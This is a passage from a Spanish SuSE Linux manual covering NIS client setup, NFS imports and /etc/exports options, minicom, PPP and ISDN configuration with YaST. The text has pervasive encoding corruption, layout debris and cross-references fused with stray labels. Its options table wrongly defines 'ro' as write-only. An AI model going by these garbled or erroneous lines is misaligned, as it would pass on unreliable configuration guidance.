  10718.     tomßticamente cuando ha usado YaST  para la definici≤n de la variable.
  10719.     Este fichero debe contener una lφnea que comience con la palabra clave
  10720.     ypserver        y que contenga el nombre del servidor NIS.
  10721.  
  10722.      _______________________________________________________________________________________________________________________||||
  10723.      |||||||| #  /etc/yp.conf                                                                                                |
  10724.      |||||||| #                                                                                                              |
  10725.      |||||||| #  Syntax:                                                                                                     |
  10726.      ||||||||                                                                                                                |
  10727.      |||||||| #                                                                                                              |
  10728.      |||||||| #  ypserver     <servername>           Define  which  host  to  contact                                        |
  10729.      ||||||||                                                                                                                |
  10730.      |||||||| #                                                    for  YP  service.                                         |
  10731.      |||||||| #                                                                                                              |
  10732.      ||||||||                                                                                                                |
  10733.      |||||||| ypserver         sol.cosmos.univ                                                                               |
  10734.      |||||||| #  End  of  /etc/yp.conf                                                                                       |
  10735.      ||||||||_______________________________________________________________________________________________________________ |
  10736.  
  10737.                                 Fichero 5.4.1: /etc/yp.conf
  10738.  
  10739.  
  10740. o   Es  necesario  que  se  pueda  resolver  el  nombre  del  servidor  NIS  (p. ej.
  10741.     sol.cosmos.univ) con /etc/hosts.
  10742.  
  10743. o   Hay que asegurarse de que se inicia el RPC-Portmapper.
  10744.  
  10745.     El funcionamiento de NIS se realiza a travΘs de RPC (ingl. Remote Pro-
  10746.     cedure Calls), por eso es necesario que el RPC-Portmapper estΘ iniciado.
  10747.     El script /sbin/init.d/rpc arranca este servidor lo que se resuelve au-
  10748.     tomßticamente si se lo ha pedido en /etc/rc.config.
  10749.  
  10750. o   Suplementos a las entradas en /etc/passwd y /etc/group.
  10751.  
  10752.     Los  ficheros  en  cuesti≤n  deben  llevar  una  lφnea  suplementaria  que
  10753.     comience  con  el  sφmbolo  `+',  para  que  la  computadora  pase  una  so-
  10754.     licitud al servidor NIS despuΘs de haber buscado en los ficheros locales.
  10755.     NIS permite activar aquφ muchas opciones adicionales, p. ej.  Netgroups o
  10756.     la supresi≤n de entradas NIS locales.
  10757.  
  10758. o   Inicio de ypbind .
  10759.  
  10760.     El  ·ltimo  paso  en  la  configuraci≤n  del  cliente  NIS  es  el  inicio  del  pro-
  10761.     grama ypbind , que representa el verdadero arranque del cliente NIS. Este
  10762.     programa tambiΘn se inicia automßticamente si la configuraci≤n fue hecha
  10763.     con YaST .
  10764.  
  10765. o   Activaci≤n de los cambios.
  10766.  
  10767.     Se arranca la computadora de nuevo,  o bien,  se inician nuevamente los
  10768.     servicios necesarios con los comandos:
  10769.  
  10770.  
  10771.                                                                                                                                    *
  10772.  * 167
  10773. 5.  Linux en la red________________________________________________________________________________________________________________*
  10774.  *_______________________________________@
  10775.  
  10776.  
  10777.  
  10778.                                       tierra:~  #  rcnetwork  restart
  10779.                                       tierra:~  #  rcypclient  restart
  10780.  
  10781.                            5.4.3      Servidor NIS-Master y Slave
  10782.  
  10783.                            Se debe instalar el paquete ypserv, serie n; el procedimiento exacto se expli-
  10784.                            ca en /usr/doc/packages/yp/HOWTO.
  10785.  
  10786.  
  10787.  
  10788.                            5.5       NFS ~ sistemas de ficheros distribuidos
  10789.  
  10790.  
  10791.                            Como  ya  se  ha  mencionado  en  el  apartado  5.4  en  la  pßgina  166NIS,  las
  10792.                            pßginas  amarillas  del  LANsection.5.4,  el  servicio  NFS  sirve,  junto  con  el
  10793.                            servicio  NIS,  para  hacer  una  red  transparente  al  usuario.   NFS  consiente
  10794.                            la  distribuci≤n  de  sistemas  de  fichero  en  la  red,  lo  que  permite  al  usuario
  10795.                            encontrar siempre el mismo entorno, independientemente de la computadora
  10796.                            en la que trabaje.
  10797.  
  10798.                            Al  igual  que  NIS,  NFS  es  un  servicio  asimΘtrico  de  estructura  cliente-
  10799.                            servidor, pero a diferencia de Θste, NFS puede ofrecer sistemas de fichero a
  10800.                            la red (''exportar'') y a su vez montar los de otras computadoras (''importar'').
  10801.                            Normalmente son solo los servidores los que exportan sistemas de ficheros,
  10802.                            ya que son estos los que tienen alta capacidad de almacenamiento de datos.
  10803.  
  10804.  
  10805.                            5.5.1      Importar sistemas de ficheros
  10806.  
  10807.                            Importar sistemas de ficheros desde un servidor NFS es muy simple y tiene
  10808.                            como ·nica condici≤n el inicio del RPC-Portmapper .  La manera de iniciar
  10809.                            este  servidor  ya  se  explic≤  en  el  contexto  de  NIS  (ver  apartado  5.4.2  en  la
  10810.                            pßgina  anterior).   De  este  modo  es  posible  incorporar  sistemas  de  ficheros
  10811.                            externos  al  sistema  de  ficheros  local,  anßlogamente  a  la  incorporaci≤n  de
  10812.                            discos locales,  usando el comando mount     ;  el sistema de ficheros externo a
  10813.                            montar debe ser exportado debidamente por la mßquina servidora. La sintaxis
  10814.                            de mount es la siguiente:
  10815.  
  10816.                            mount  -t  nfs  <computadora>:<path  remota>  <path  local>
  10817.  
  10818.                            Se pueden importar p. ej.   los directorios de usuario de la computadora sol
  10819.                            con el siguiente comando:
  10820.  
  10821.                                  tierra:~  #  mount  -t  nfs  sol:/home  /home
  10822.  
  10823.  
  10824.                            5.5.2      Exportar sistemas de ficheros
  10825.  
  10826.                            Una  computadora  que  exporta  sistemas  de  ficheros  se  denomina  servidor
  10827.                            NFS. Este debe tener los siguientes servicios activados (en ejecuci≤n):
  10828.  
  10829.  
  10830.                              o   RPC-Portmapper (portmap )
  10831.  
  10832.                              o   RPC-Mount-Daemon (rpc.mountd )
  10833.  
  10834.                              o   RPC-NFS-Daemon (rpc.nfsd )
  10835.  
  10836.  
  10837.                            Los scripts /sbin/init.d/rpc y /sbin/init.d/nfsserver inician los daemons cuando
  10838.                            la computadora arranca.  El inicio del RPC-Portmapper ya se explic≤ en el
  10839.                            apartado 5.4.2 en la pßgina anterior.
  10840.  
  10841.  
  10842. 168
  10843.        ________________________________________________________________5.5.__NFS_~_sistemas_de_ficheros_distribuidos_______________*
  10844.  *______________________
  10845.  
  10846.  
  10847.  
  10848. Aparte de iniciar estos daemons es preciso definir cußles sistemas de ficheros
  10849. se deben exportar a cußles computadoras. Esto se realiza con el fichero /etc/
  10850. exports.
  10851.  
  10852. Por cada directorio a exportar se necesita una lφnea que constate cußl com-
  10853. putadora debe acceder a Θl y de quΘ forma;  los sub-directorios se exportan
  10854. automßticamente.  Las computadoras con permiso de acceso se indican gen-
  10855. eralmente por sus nombres (con el nombre del dominio incluido).  TambiΘn
  10856. puede usar los +   Comodines `*' y `?'  con sus funciones conocidas de la
  10857. shell bash .  Si no se indica ning·n nombre, cada computadora tiene la posi-
  10858. bilidad de montar el directorio con los derechos de acceso indicados para el
  10859. mismo.
  10860.  
  10861. Los  derechos  de  exportaci≤n  del  directorio  se  indican  en  parΘntesis  en  una
  10862. lista  detrßs  del  nombre  de  computadora.  La  siguiente  tabla  resume  las  op-
  10863. ciones de acceso mßs importantes.
  10864.  
  10865.        ______________________________________________________________________________________________________________________
  10866.  
  10867.    ro                          Exportaci≤n solo con derecho de escritura (por defec-
  10868.                                to).
  10869.    rw                          Exportaci≤n con derecho de escritura y lectura.
  10870.    root`squash                 Esta  opci≤n  hace  que  el  usuario  `root'  de  la  com-
  10871.                                putadora  indicada,  no  tenga  sobre  el  directorio,  los
  10872.                                derechos  especiales  tφpicos  para  `root'.    Esto  se
  10873.                                logra  modificando  los  accesos  con  el  identificati-
  10874.                                vo  de  usuario  (ingl.  User-ID)  0  al  de  65534  (-2)        .
  10875.                                Este  identificativo  debe  estar  asignado  al  usuario
  10876.                                `nobody' (es asφ por defecto).
  10877.    no`root`squash              Ninguna modificaci≤n de los derechos de `root'.
  10878.    link`relative               Modificaci≤n de enlaces simb≤licos absolutos (aque-
  10879.                                llos  que  comienzan  con  `/')  a  una  secuencia  de
  10880.                                `../'.  Esta opci≤n solo tiene sentido si se monta el
  10881.                                sistema de ficheros completo de una computadora (es
  10882.                                asφ por defecto).
  10883.    link`absolute               No se modifican los enlaces simb≤licos.
  10884.    map`identity                El cliente usa los mismos identificativos (ingl. User-
  10885.                                ID) que el servidor (es asφ por defecto).
  10886.    map`daemon                  Los identificativos de usuario, de cliente y servidor, no
  10887.                                coinciden.  Con esta opci≤n el nfsd  genera una tabla
  10888.                                para la conversi≤n de los identificativos de usuario. El
  10889.                                requisito para ello es la activaci≤n del daemon ugidd .
  10890.  
  10891.        ______________________________________________________________________________________________________________________
  10892.  
  10893.                 Tabla 5.6: Derechos de acceso a directorios exportados
  10894. El  fichero  5.5.1  en  la  pßgina  siguiente  muestra  un  ejemplo  de  un  fichero
  10895. exports.
  10896.  
  10897. Los programas mountd  y nfsd  leen el fichero /etc/exports.  DespuΘs de
  10898. haberlo modificado, es preciso reiniciar mountd  y nfsd  para que los cambios
  10899.  
  10900.  
  10901.                                                                                                                                    *
  10902.  *   169
  10903. 5.  Linux en la red________________________________________________________________________________________________________________*
  10904.  *_______________________________________@
  10905.  
  10906.                            ________________________________________________________________________________________________________*
  10907.  *________||
  10908.                            | #                                                                                                     *
  10909.  *         |
  10910.                            ||#  /etc/exports                                                                                       *
  10911.  *         ||
  10912.                            | #                                                                                                     *
  10913.  *         |
  10914.                            | /home                     sol(rw)     venus(rw)                                                       *
  10915.  *         |
  10916.                            | /usr/X11                sol(ro)     venus(ro)                                                         *
  10917.  *         |
  10918.                            |                                                                                                       *
  10919.  *         |
  10920.                            | /usr/lib/texmf     sol(ro)     venus(rw)                                                              *
  10921.  *         |
  10922.                            | /                            tierra(ro,root_squash)                                                   *
  10923.  *         |
  10924.                            |                                                                                                       *
  10925.  *         |
  10926.                            | /home/ftp              (ro)                                                                           *
  10927.  *         |
  10928.                            | #  End  of  exports                                                                                   *
  10929.  *         |
  10930.                            |_______________________________________________________________________________________________________*
  10931.  *________ |
  10932.  
  10933.                                                              Fichero 5.5.1: /etc/exports
  10934.  
  10935.  
  10936.  
  10937.                            se activen. Lo mßs simple para conseguirlo es la introducci≤n del comando:
  10938.  
  10939.                                  tierra:~  #  rcnfsserver  restart
  10940.  
  10941.  
  10942.  
  10943. 170
  10944.  
  10945.                                                                                                            Capφtulo  6
  10946.          Conectarse   con   el   mundo   ~   RDSI,
  10947.  
  10948.  
  10949.  
  10950.                                                                                              PPP,   Fax.  .  .
  10951.  
  10952.  
  10953. No solo interesa conectarse a una red de ßrea local, sino tambiΘn a una red
  10954. grande y distribuida (+  WAN (ingl. Wide Area Networks)) lo que permite p. ej.
  10955. el uso de buzones de correo electr≤nico.
  10956.  
  10957. En el mundo de Unix se impusieron dos estßndares para la conexi≤n a redes
  10958. grandes,  UUCP y TCP/IP vφa modem o RDSI. Mientras que se usa UUCP
  10959. (Unix  to  Unix  CoPy)  sobre  todo  para  el  transporte  de  News  (noticias  de
  10960. Internet) y de E-Mail ,  la conexi≤n vφa TCP/IP representa una conexi≤n de
  10961. red real, que ofrece todos los servicios de una LAN ~ al fin y a cabo la LAN
  10962. tambiΘn estß basado en TCP/IP.
  10963.  
  10964. PPP (Point to Point Protocol) 1  es hoy en dφa el protocolo preferido para usar
  10965. TCP/IP en una conexi≤n vφa modem o vφa tarjeta RDSI. En conexiones RDSI
  10966. se utiliza generalmente syncPPP y algunas veces rawip (ver apartado 6.2.5
  10967. en la pßgina 180La selecci≤n del protocolosubsection.6.2.5).
  10968.  
  10969. El tema de los siguientes apartados trata sobre la configuraci≤n de una conex-
  10970. i≤n de WAN. Brevemente se presenta el protocolo PPP (apartado 6.1 en la
  10971. pßgina siguiente) y se explica c≤mo conectar un modem anal≤gico (aparta-
  10972. do 6.5 en la pßgina 189Conexi≤n de modemsection.6.5) y c≤mo configurar
  10973. una  conexi≤n  PPP  (apartado  6.6  en  la  pßgina  190Con  el  modem  a  Inter-
  10974. net:  PPP  con  wvdial section.6.6).   Aparte  de  esto,  se  comenta  la  conexi≤n
  10975. de E-Mail(apartado 6.8 en la pßgina 204Vamos a escribir ~ Configuraci≤n de
  10976. sendmailsection.6.8), configuraci≤n del sistema de noticias (apartado 6.9 en
  10977. la pßgina 207News:  Las noticias mßs actuales de USENETsection.6.9)  y la
  10978. posibilidad de enviar y recibir Fax (apartado 6.10 en la pßgina 209Linux +
  10979. Fax: íUna buena combinaci≤n!section.6.10)  .
  10980.  
  10981. Minicom
  10982.  
  10983. Minicom es un programa de emulaci≤n de terminal de uso fßcil, cuyo manejo
  10984. es parecido al del programa DOS Telix .
  10985.  
  10986. Todos  los  usuarios  que  quieren  usar  minicom  deben  estar  anotados  en  el
  10987. fichero /etc/minicom.users. Allφ se define cußles usuarios tienen derecho
  10988. de acceso a cußl modem y con cußl configuraci≤n.
  10989.  
  10990. La configuraci≤n_de_Minicom_se_efect·a_inicißndolo_como_`root'_con:
  10991. 1 SLIP (Serial Line Internet Protocol) cada vez pasa mßs de moda.
  10992.  
  10993.  
  10994.                                                                                                                                    *
  10995.  *   171
  10996. 6.  Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
  10997.  *_______________________________________@
  10998.  
  10999.  
  11000.  
  11001.                                  tierra:/  #  minicom  -s
  11002.                            Los ajustes necesarios para su uso no se diferencian de otros sistemas opera-
  11003.  
  11004.                            tivos y son auto-explicativos.
  11005.                            ________________________________________________________________________________________________________*
  11006.  *________
  11007.                            |  La combinaci≤n de teclas |C______|trl-|L_ |no funciona en un xterm o en rxvt , sin                   *
  11008.  *        |||
  11009.                            |                             ______       _                                                            *
  11010.  *        |||
  11011.                            |  embargo, funciona en kvt  o en una consola de texto.                                                 *
  11012.  *        |||
  11013.                            |_______________________________________________________________________________________________________*
  11014.  *________|||_
  11015.  
  11016.  
  11017.                            6.1       PPP
  11018.  
  11019.                            PPP  (ingl.  Point  to  Point  Protocol)  ofrece  la  posibilidad  de  usar  TCP/IP  a
  11020.                            travΘs de un cable serie.  Cliente y servidor de la conexi≤n PPP pueden ne-
  11021.                            gociar durante el inicio de la conexi≤n diversos parßmetros del protocolo.  El
  11022.                            servidor puede comunicar al cliente su direcci≤n IP y a su vez asignarle una
  11023.                            direcci≤n.
  11024.  
  11025.                            Al  contrario  de  SLIP,  PPP  tiene  un  estßndar  definido  y  representa  ahora  la
  11026.                            ·nica posibilidad de comunicaci≤n de casi todos los proveedores de Internet.
  11027.  
  11028.                            La clave de PPP estß en el daemon PPP (pppd ),  que forma la interfaz para
  11029.                            acceder a los dispositivos PPP. Puede actuar de cliente y tambiΘn de servidor.
  11030.                            Del establecimiento de la conexi≤n en sφ se encarga el programa wvdial  o el
  11031.                            programa chat .
  11032.  
  11033.  
  11034.                            6.1.1      Requisitos para PPP
  11035.  
  11036.                            Los requisitos para el uso del protocolo PPP en SuSE     Linux son:
  11037.  
  11038.                              o   íEl kernel tiene que soportar TCP/IP y PPP! Este es el caso para el kernel
  11039.                                  estßndar y los m≤dulos que proporcionamos,  por lo tanto no es preciso
  11040.                                  compilar un kernel propio.
  11041.  
  11042.                              o   Los paquetes de red deben estar instalados; el paquete nkita y el paquete
  11043.                                  nkitb, serie a son imprescindibles.
  11044.  
  11045.                              o   El paquete ppp, serie n que contiene el daemon pppd  y el programa chat .
  11046.  
  11047.                              o   Si quiere usar un modem anal≤gico, se necesita paquete wvdial, serie n
  11048.                                  para establecer y cortar la conexi≤n.
  11049.  
  11050.                              o   Para configurar el acceso vφa RDSI consulte tambiΘn apartado 6.2.3 en la
  11051.                                  pßgina 175Requisitossubsection.6.2.3.
  11052.  
  11053.                              o   Tiene que conocer el login y la contrase±a del servidor PPP.
  11054.  
  11055.  
  11056.                            6.1.2      Informaci≤n adicional sobre PPP
  11057.  
  11058.                            PPP ofrece una multitud de posibilidades para configurar la conexi≤n; tantas,
  11059.                            que serφa demasiado presentarlas todas aquφ. Si necesita mßs opciones puede
  11060.                            consultar las respectivas +  Manpages, p. ej. en la pßgina del manual de pppd
  11061.                            (man  8  pppd       );  ademßs  hay  mucha  informaci≤n  detallada  en  los  ficheros
  11062.                            NET4-3-HOWTO.gz (antes:  NET-3-HOWTO.gz) y PPP-HOWTO.gz, que estßn
  11063.                            en el directorio /usr/doc/howto o en los ficheros de documentaci≤n en el
  11064.                            directorio /usr/doc/packages/ppp y /usr/doc/packages/wvdial.
  11065.  
  11066.                            En las siguientes referencias hay detalles sobre los protocolos utilizados por
  11067.                            PPP:
  11068.  
  11069.  
  11070. 172
  11071.        ______________________________________________________6.2.__Acceso_a_Internet_vφa_RDSI_~_la_configuraci≤n___________________*
  11072.  *______________________
  11073.  
  11074.  
  11075.  
  11076.   o   RFC1144:   Jacobson,  V.  ''Compressing  TCP/IP  headers  for  low-speed
  11077.       serial links.'' 1990 February;
  11078.   o   RFC1321:   Rivest,  R.  ''The  MD5  Message-Digest  Algorithm.''    1992
  11079.       April;
  11080.   o   RFC1332:    McGregor,   G.  ''PPP  Internet  Protocol  Control  Protocol
  11081.       (IPCP).'' 1992 May;
  11082.   o   RFC1334:   Lloyd,  B.  Simpson,  W.A.  ''PPP  authentication  protocols.''
  11083.       1992 October;
  11084.   o   RFC1548:   Simpson,  W.A.  ''The  Point-to-Point  Protocol  (PPP).''  1993
  11085.       December;
  11086.   o   RFC1549: Simpson, W.A. ''PPP in HDLC Framing.'' 1993 December;
  11087.  
  11088.  
  11089. 6.2       Acceso a Internet vφa RDSI ~ la configuraci≤n
  11090.  
  11091. Aparte de las conexiones de red ''ordinarias'', Linux puede tambiΘn estable-
  11092. cer y administrar conexiones con otras computadoras (p. ej.  con proveedores
  11093. de  Internet)  vφa  RDSI.  Ademßs  es  muy  fßcil  configurarlo,  porque  YaST  se
  11094. encarga de una buena parte de ello.
  11095.  
  11096. La  descripci≤n  expuesta  a  continuaci≤n,  contempla  una  conexi≤n  estßndar
  11097. con otra computadora vφa RDSI. Evidentemente es posible hacer mucho mßs
  11098. que esto con RDSI bajo Linux.
  11099.  
  11100. Considere  la  posibilidad  de  que  los  procedimientos  expuestos  no  sean  per-
  11101. mitidos  seg·n  las  leyes  de  telecomunicaci≤n  de  su  paφs.   Este  puede  ser  el
  11102. caso  para  tarjetas  RDSI  pasivas  cuya  autorizaci≤n  estß  vinculada  al  uso  en
  11103. conjunto  con  el  software  del  fabricante.  Las  tarjetas  ELSA  Microlink  PCI
  11104. (antes Quickstep) y Eicon Diva 2.01 ~ representan una excepci≤n, ya que se
  11105. pueden usar tambiΘn bajo Linux.  Las tarjetas activas se autorizan junto con
  11106. el firmware (el software que contiene la placa en ROM), lo que las autoriza
  11107. automßticamente para el uso bajo Linux. Si necesita esta autorizaci≤n tendrß
  11108. que usar una tarjeta activa o una pasiva conectada a una centralita.
  11109.  
  11110. En comparaci≤n a una conexi≤n con modem, no hace falta iniciar la comuni-
  11111. caci≤n con ning·n comando especial.  Cuando la red estß activa, la conexi≤n
  11112. a la contraparte se inicia con una actividad normal como telnet , http  WWW,
  11113. ftp  etc.; en tal caso la computadora llama y la conexi≤n se establece; el pro-
  11114. ceso dura alrededor de 3 segundos. Asφ otros usuarios aparte del superusuario
  11115. `root', pueden establecer la comunicaci≤n, la cual termina automßticamente
  11116. despuΘs de un cierto tiempo de inactividad, configurable por parte del usuario.
  11117.  
  11118. Durante  toda  la  configuraci≤n  de  RDSI  se  aconseja  seguir  los  mensajes  de
  11119. sistema  en _el_ fichero__/var/log/messages.   Para  ello  dirφjase  a  un  xterm
  11120. (en KDE : |A____l|t+ |F___|2y despuΘs introduzca xterm     ) o cualquier otra consola
  11121. virtual y cargue el fichero xterm en el ''Viewer'' less  2   :
  11122.       tierra:  #  less  +F  /var/log/messages
  11123.  
  11124. Con la opci≤n +F   la pantalla muestra cada nueva lφnea que se a±ade_al fichero_
  11125. ''en lφnea''. Para salir se utiliza la combinaci≤n de teclas |C______|trl+ |c_ |.
  11126.  
  11127. Con xisdnload         es posible visualizar y asφ controlar el ''trßfico'' RDSI.
  11128. 2      ____________________________________________________
  11129.   Las instrucciones sobre less se encuentran en el apartado 19.7.3 en la pßgina 474El contenido
  11130. de los ficherossubsection.19.7.3
  11131.  
  11132.  
  11133.                                                                                                                                    *
  11134.  *   173
  11135. 6.  Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
  11136.  *_______________________________________@
  11137.  
  11138.  
  11139.  
  11140.                            6.2.1      Configurar RDSI ~ paso por paso
  11141.                            Este apartado explica paso a paso la forma de configurar el acceso a Internet.
  11142.  
  11143.                            Si este procedimiento no funcionara o si fueran necesarios mßs detalles sobre
  11144.                            el tema, se pueden consultar los apartados que figuran a continuaci≤n de Θste.
  11145.  
  11146.  
  11147.                             1.   Inicie  el  programa _YaST_ como__usuario_ `root'  ~  si  se  encuentra  en  el
  11148.                                  entorno KDE: pulse |A____l|t+ |F___|2e introduzca despuΘs xterm     . En la nueva
  11149.                                  ventana se puede iniciar YaST .
  11150.  
  11151.                             2.   Seleccione  `Administraci≤n  del  sistema',  `Configuraci≤n  de
  11152.                                  red' y despuΘs `Configuraci≤n  bßsica  de  red'.
  11153.  
  11154.                             3.   Debe  generar  un  nuevo_ dispositivo  (con  |____|F5)  del  tipo  ISDN  SyncPPP          .
  11155.                                  Pulse `RETURN' o | ___F|6,  para llegar al men· `Introduzca  direcci≤n
  11156.                                  de  red'.
  11157.  
  11158.                             4.   Mantenga  los  ajustes  tal  como  estßn  ~  la  direcci≤n  IP  de  la  mßquina
  11159.                                  local  es  192.168.0.99           ,  la  direcci≤n  IP  del  compa±ero  punto  a  pun-
  11160.                                  to  (contraparte)  es  192.168.0.1           ~  y  solo  modifique  la  IP  del  gateway
  11161.                                  (pasarela), indicando la misma IP como IP del compa±ero punto a punto
  11162.                                  (192.168.0.1          ).
  11163.  
  11164.                             5.   Contin·e la configuraci≤n con `Continuar'.
  11165.  
  11166.                             6.   Active la tarjeta en el formulario `Selecci≤n  de  red' con |F___|_4.
  11167.  
  11168.                             7.   Guarde todo con |F_____|10.
  11169.  
  11170.                             8.   Ahora se contin·a con `Instalar  hardware  en  el  sistema' y de-
  11171.                                  spuΘs `Configurar  hardware  RDSI'.
  11172.  
  11173.                             9.   Rellene todos los campos en el formulario.  Si no sabe exactamente quΘ
  11174.                                  escribir,  consulte  la  documentaci≤n  en  /usr/doc/packages/i4l  y  en
  11175.                                  los apartados siguientes.
  11176.  
  11177.                           10.    En la misma ventana seleccione `Iniciar'.
  11178.  
  11179.                           11.    Si   tiene   Θxito   (en   pantalla   aparece   una   confirmaci≤n),   seleccione
  11180.                                  Parßmetero  RDSI            .
  11181.  
  11182.                           12.    Rellene tambiΘn el formulario que aparece ahora.
  11183.  
  11184.                           13.    DespuΘs seleccione `Iniciar' en la ventana.
  11185.  
  11186.                           14.    Si   tiene   Θxito   (en   pantalla   aparece   una   confirmaci≤n),   seleccione
  11187.                                  `Guardar'.
  11188.  
  11189.                           15.    Seleccione `Configuraci≤n  DNS', y afirme la pregunta con `Sφ'.
  11190.  
  11191.                           16.    Introduzca la direcci≤n IP del servidor de nombres (DNS) de su provee-
  11192.                                  dor. Si no la conoce consulte el proveedor o tal vez la pueda encontrar en
  11193.                                  la pßgina web del mismo.
  11194.  
  11195.                           17.    Termine YaST  e introduzca init  1      en la ventana del terminal.  Si KDE
  11196.                                  (y las ''X'') estßn en ejecuci≤n, el entorno grßfico se cierra.
  11197.  
  11198.                           18.    Entre al sistema como superusuario `root'.
  11199.  
  11200.                           19.    Si  usa  startx      para  iniciar  X,  entonces  inicie  los  servicios  de  red  con
  11201.                                  init  2    . Si por el contrario tiene un ''login'' grßfico activado, use init  3    .
  11202.  
  11203.                           20.    Ya puede iniciar p. ej.  Netscape para navegar en Internet. TambiΘn puede
  11204.                                  iniciar xisdnload         para monitorizar el estado de la conexi≤n.
  11205.  
  11206.  
  11207. 174
  11208.         ______________________________________________________6.2.__Acceso_a_Internet_vφa_RDSI_~_la_configuraci≤n__________________*
  11209.  *_______________________
  11210.  
  11211.  
  11212.  
  11213. 21.    En el caso de algunos ISP es preciso indicar en Netscape el servidor Proxy
  11214.        del proveedor:
  11215.        En   Netscape   `Edit',   `Preferences',   `Advanced',   `Proxies',
  11216.        `Manual  Proxy  Configuration' y despuΘs `View'.
  11217.  
  11218.  Ahora el acceso vφa RDSI deberφa funcionar y establecer asφ una conexi≤n a
  11219.  Internet cada vez que se indique, p. ej.  en Netscape, una direcci≤n de Inter-
  11220.  net.  El acceso finaliza transcurridos 60 segundos sin transferencia de ning·n
  11221.  paquete de datos; controle el trßfico de red con xisdnload        !
  11222.  
  11223.  íSi este procedimiento no funcionara, contin·e leyendo!
  11224.  
  11225.  
  11226.  6.2.2      Introducci≤n
  11227.  
  11228.  SuSE     Linux contiene el paquete isdn4linux, un paquete de programas com-
  11229.  puesto por un driver,  una interfaz de red y una emulaci≤n de modem (solo
  11230.  modem  digital).   Ademßs  se  incluye  software  p. ej.  para  un  contestador  de
  11231.  telΘfono.
  11232.  
  11233.  El script /sbin/init.d/i4l_hardware carga el driver del hardware de la
  11234.  tarjeta  RDSI  (ver  capφtulo  17  en  la  pßgina  431El  concepto  de  arranque  de
  11235.  SuSE     Linux chapter.17).
  11236.  
  11237.  La herramienta isdnctrl        (pßgina del manual de isdnctrl        (man  isdnctrl          ))
  11238.  se encarga de configurar la conexi≤n RDSI. Los comandos ifconfig        (pßgina
  11239.  del manual de ifconfig         (man  ifconfig          )) y route      (pßgina del manual de
  11240.  route      (man  route       )) permiten configurar las interfaces de red disponibles,
  11241.  al igual que las de una interfaz tipo Ethernet.  En el caso de SuSE      Linux el
  11242.  que se encarga de ello es el script /sbin/init.d/i4l, (ver capφtulo 17 en
  11243.  la pßgina 431El concepto de arranque de SuSE     Linux chapter.17).
  11244.  
  11245.  La base de esta configuraci≤n la forman los parßmetros anotados en /etc/
  11246.  rc.config  y  la  denominaci≤n  de  las  variables  apuntadas  allφ,  se  orienta
  11247.  seg·n lo posible, a la de las opciones de isdnctrl .
  11248.  
  11249.  El  script  /sbin/init.d/route  se  encarga  de  configurar  el  ''routing''  de
  11250.  acuerdo a los valores apuntados en /etc/route.conf.
  11251.  
  11252.  La conexi≤n se establece ''seg·n necesidad'' con los parßmetros que se han
  11253.  definido  en  isdnctrl ,  /sbin/init.d/i4l  y  /etc/rc.config.    Estos  se
  11254.  pueden visualizar con:
  11255.  
  11256.        tierra:  #  isdnctrl  list  all
  11257.  
  11258.  ''Seg·n  necesidad''  quiere  decir  que,  una  de  las  ''rutas''  creadas  accede  a
  11259.  la interfaz RDSI correspondiente.  Cualquier usuario o cualquier aplicaci≤n
  11260.  puede realizarlo.
  11261.  
  11262.  
  11263.  6.2.3      Configuraci≤n del hardware RDSI
  11264.  
  11265.  
  11266.  Requisitos
  11267.  
  11268.  Para establecer una conexi≤n RDSI con SuSE     Linux, se necesita lo siguiente:
  11269.  
  11270.   1.   una lφnea RDSI
  11271.  
  11272.   2.   una tarjeta RDSI soportada
  11273.  
  11274.  
  11275.                                                                                                                                    *
  11276.  *    175
  11277. 6.  Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
  11278.  *_______________________________________@
  11279.  
  11280.  
  11281.  
  11282.                             3.   SuSE     Linux instalado en su computadora
  11283.                             4.   el kernel estßndar del CD SuSE     Linux instalado
  11284.                            ________________________________________________________________________________________________________*
  11285.  *________
  11286.                            |  íNo hace falta que genere ning·n kernel propio, sin embargo, si lo quiere                            *
  11287.  *        |||
  11288.                            |                                                                                                       *
  11289.  *        |||
  11290.                            |  hacer, utilice para ello las fuentes del paquete lx_suse, serie d!                                   *
  11291.  *        |||
  11292.                            |_______________________________________________________________________________________________________*
  11293.  *________|||_
  11294.  
  11295.                             5.   el paquete kernmod, serie a
  11296.                             6.   el paquete i4l, serie n
  11297.                             7.   para documentaci≤n adicional es aconsejable que instale tambiΘn el pa-
  11298.                                  quete i4ldoc, serie doc
  11299.  
  11300.                            Los datos que necesita para la instalaci≤n:
  11301.  
  11302.                              o   Tipo de tarjeta RDSI
  11303.                              o   Configuraci≤n de la tarjeta: IRQ, Direcci≤n de puerto, etc. (seg·n el tipo)
  11304.                              o   El protocolo de RDSI, que puede utilizar:
  11305.  
  11306.                                  ~   1TR6 : RDSI nacional (antiguo)
  11307.  
  11308.                                  ~   DSS1 : Euro-RDSI
  11309.                            ________________________________________________________________________________________________________*
  11310.  *________||
  11311.  
  11312.                            |  Las centralitas grandes antiguas usan con frecuencia 1TR6  sobre S0   inter-                         *
  11313.  *        ||||
  11314.                            |  no.                                                                                                  *
  11315.  *        |||
  11316.                            |_______________________________________________________________________________________________________*
  11317.  *________|||_
  11318.  
  11319.                            ┐Que significa el MSN/EAZ?
  11320.  
  11321.                            En caso del Euro-RDSI, el n·mero MSN (ingl. Multiple-Subscribe-Number)
  11322.                            es el n·mero de telΘfono sin el prefijo. Pidiendo una lφnea privada nueva, gen-
  11323.                            eralmente le asignan tres n·meros independientes. Puede elegir cualquiera de
  11324.                            estos n·meros para la conexi≤n RDSI de datos, tambiΘn aquella que ya se es-
  11325.                            tß  usando  para  una  conexi≤n  telef≤nica.  Esto  funciona  porque  mediante  el
  11326.                            reconocimiento del servicio RDSI se puede detectar el tipo de conexi≤n.
  11327.  
  11328.                            La tarjeta RDSI estß tφpicamente conectada a un NTBA, pero tambiΘn tiene
  11329.                            sentido poner a disposici≤n un bus adicional tipo S0 a travΘs de una centralita.
  11330.                            Usando  Euro-RDSI  con  una  centralita,  el  MSN  es  (generalmente)  solo  la
  11331.                            extensi≤n de la centralita o el n·mero 0 .
  11332.  
  11333.                            1TR6  usa  en  lugar  del  n·mero  MSN  un  EAZ  (en  alemßn:   ''EndgerΣte-
  11334.                            Auswahl-Ziffer''  =  n·mero  de  selecci≤n  del  aparato  final)  El  EAZ  es  un
  11335.                            n·mero  cualquiera,  elegible  entre  1  y  9 .   íEn  caso  de  1TR6  no  use  nunca
  11336.                            el 0 !
  11337.  
  11338.  
  11339.                            6.2.4      Configuraci≤n del hardware RDSI con YaST
